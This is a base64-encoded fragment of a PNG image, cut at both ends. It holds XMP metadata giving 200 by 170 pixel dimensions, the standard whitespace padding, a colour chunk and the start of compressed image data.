NlPgogICAgICAgICA8ZXhpZjpQaXhlbFhEaW1lbnNpb24+MjAwPC9leGlmOlBpeGVsWERpbWVuc2lvbj4KICAgICAgICAgPGV4aWY6UGl4ZWxZRGltZW5zaW9uPjE3MDwvZXhpZjpQaXhlbFlEaW1lbnNpb24+CiAgICAgIDwvcmRmOkRlc2NyaXB0aW9uPgogICA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8P3hwYWNrZXQgZW5kPSJ3Ij8+9Y4UBgAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAIL0lEQVR42uyd7XHiOhRAb5g0wCvBKYGUACVACVCBhpRgRhXgEkgJUEJcQihhKYH3I1fBy9rGki1jknNmmOwua66+jvWBrDydz2cBgHJGFAEAggAgCACCACAIAIIAIAgAggAgCACCAACCACAIAIIAIAgAggAgCACCACAIAIIAIAgAIAgAggAgCACCACAIAIIAIAgAggAgCAAgCACCACAIAIIAIAgAggAgCACCACAIAIIAAIIAIAgAggAgCACCACAIAIIAIAgAggAAggAgCACCACAIAIIAIAgAggAgCACCACAIACAIAIIAIAgAggAgCACCACAIAIIAIAgAIAgAggAgCACCACAIwGB4DrnIGLMWkURE5iIyvnr7JCLvIpKLSPaDymotIhPN8zUHETmKyEZ/xiLRdEz1z9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